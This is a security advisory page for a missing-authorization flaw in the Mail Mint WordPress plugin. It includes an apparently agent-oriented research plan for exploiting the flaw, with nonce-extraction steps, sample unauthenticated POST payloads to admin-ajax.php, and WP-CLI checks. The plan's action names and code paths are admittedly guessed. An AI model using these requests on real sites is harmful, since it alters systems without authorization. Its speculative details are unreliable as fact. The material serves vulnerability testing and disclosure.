Mail Mint <= 1.19.4 - Missing Authorization
Description
The Mail Mint plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.19.4. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.19.4Source Code
WordPress.org SVNThis research plan focuses on identifying and exploiting a missing authorization vulnerability in the **Mail Mint** plugin (versions <= 1.19.4). The vulnerability allows unauthenticated attackers to trigger actions that should be restricted to administrators. ### 1. Vulnerability Summary * **Vuln…
Show full research plan
This research plan focuses on identifying and exploiting a missing authorization vulnerability in the Mail Mint plugin (versions <= 1.19.4). The vulnerability allows unauthenticated attackers to trigger actions that should be restricted to administrators.
1. Vulnerability Summary
- Vulnerability: Missing Authorization (Insecure Direct Object Reference / Improper Access Control).
- Plugin: Mail Mint – Email Marketing, Newsletter, Email Automation & WooCommerce Emails (slug:
mail-mint). - Affected Versions: <= 1.19.4.
- Root Cause: The plugin registers AJAX handlers using the
wp_ajax_nopriv_hook for functions that perform sensitive operations (e.g., updating settings, managing contacts, or dismissing notices) without implementing sufficientcurrent_user_can()capability checks within the callback functions. - Impact: Unauthenticated attackers can modify plugin configurations or metadata (Integrity: Low).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php. - Method: POST.
- Action Parameter: Likely prefixed with
mimi_(the internal shorthand for Mail Mint), such asmimi_dismiss_notice,mimi_save_settings, ormimi_update_contact. - Payload: URL-encoded POST parameters containing the
action, anonce(if required/exposed), and the target data to modify. - Preconditions: The plugin must be active. For contact-related actions, at least one contact ID must be known or guessed (IDOR).
3. Code Flow (Inferred)
- Registration: The plugin uses a centralized AJAX dispatcher, likely in
src/App/Framework/Ajax/Ajax_Handler.phporincludes/Core/Ajax.php. - Dispatch: It registers hooks:
add_action( 'wp_ajax_mimi_some_action', [ $this, 'callback' ] ); add_action( 'wp_ajax_nopriv_mimi_some_action', [ $this, 'callback' ] ); // Vulnerable if registered here - Execution: The
callbackfunction is invoked. - Vulnerability: The callback function performs an operation (e.g.,
update_option) but only checks for a nonce (which might be public) and fails to verifycurrent_user_can( 'manage_options' ).
4. Nonce Acquisition Strategy
Mail Mint typically localizes its AJAX URL and nonces for use in its frontend and backend scripts.
- Identify the Script: Look for
wp_localize_scriptcalls in the source code. The variable name is oftenmail_mint_varsormimi_admin. - Trigger Page: Create a page that forces the plugin to load its frontend assets (often used for lead capture forms).
- Command:
wp post create --post_type=page --post_status=publish --post_content='[mail_mint_form id="1"]'(Search for actual shortcodes usinggrep -r "add_shortcode" .).
- Command:
- Extraction:
- Navigate to the created page.
- Use
browser_evalto extract the nonce:window.mail_mint_vars?.nonce || window.mimi_vars?.nonce
- Action Check: Compare the action used in
wp_create_nonce(found in source) with the one used in the vulnerable handler. If they use a generic nonce likemimi_nonce, it can be reused across different actions.
5. Exploitation Strategy
The goal is to perform an "unauthorized action." A common and verifiable action in this plugin is dismissing administrative notices or updating non-critical settings.
Target Action: mimi_dismiss_notice (Hypothetical but highly likely)
- Request Tool:
http_request. - URL:
http://localhost:8080/wp-admin/admin-ajax.php. - Headers:
Content-Type: application/x-www-form-urlencoded. - Body:
action=mimi_dismiss_notice¬ice_id=mail_mint_review_notice&_wpnonce=[EXTRACTED_NONCE]
Target Action: mimi_save_settings (Alternative)
- Body:
action=mimi_save_settings&settings[email_limit]=9999&_wpnonce=[EXTRACTED_NONCE]
6. Test Data Setup
- Install Mail Mint 1.19.4.
- Create a subscriber or a custom field to have a target for modification.
- Determine the available shortcodes:
grep -rn "add_shortcode" wp-content/plugins/mail-mint/ - Create a public page with the found shortcode to expose the nonce.
7. Expected Results
- Success: The server returns a
200 OKresponse, often with a JSON body like{"success":true}. - Outcome: A specific setting is changed in the database, or a notice is marked as dismissed for all users.
8. Verification Steps
After sending the POST request, verify the state change using WP-CLI:
- Check Settings:
wp option get mail_mint_settings - Check Notice Status:
wp option get mail_mint_dismissed_notices(exact option name may vary; search usingwp option list --search="*mimi*") - Check Contact Metadata:
wp db query "SELECT * FROM wp_mimi_contacts WHERE id = 1"(Verify if the plugin uses custom tables).
9. Alternative Approaches
- REST API: If AJAX handlers are secure, check REST routes. Search for
register_rest_routeand look for routes wherepermission_callbackis set to__return_trueor is missing.- Endpoint:
/wp-json/mail-mint/v1/...
- Endpoint:
- Information Disclosure: If the vulnerability allows "unauthorized actions," check if
mimi_get_contactsormimi_export_contactsis also registered asnopriv. This would upgrade the severity by addingConfidentiality: High.
Identification Commands for the Agent:
# Find all nopriv AJAX actions
grep -r "wp_ajax_nopriv_" wp-content/plugins/mail-mint/
# Find the callback functions associated with those actions
grep -rP "add_action\s*\(\s*['\"]wp_ajax_nopriv_mimi_(\w+)['\"]" wp-content/plugins/mail-mint/
# Check a specific callback (e.g., save_settings) for capability checks
# Replace 'callback_function_name' with the result from the previous grep
grep -A 20 "function callback_function_name" wp-content/plugins/mail-mint/ | grep "current_user_can"
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.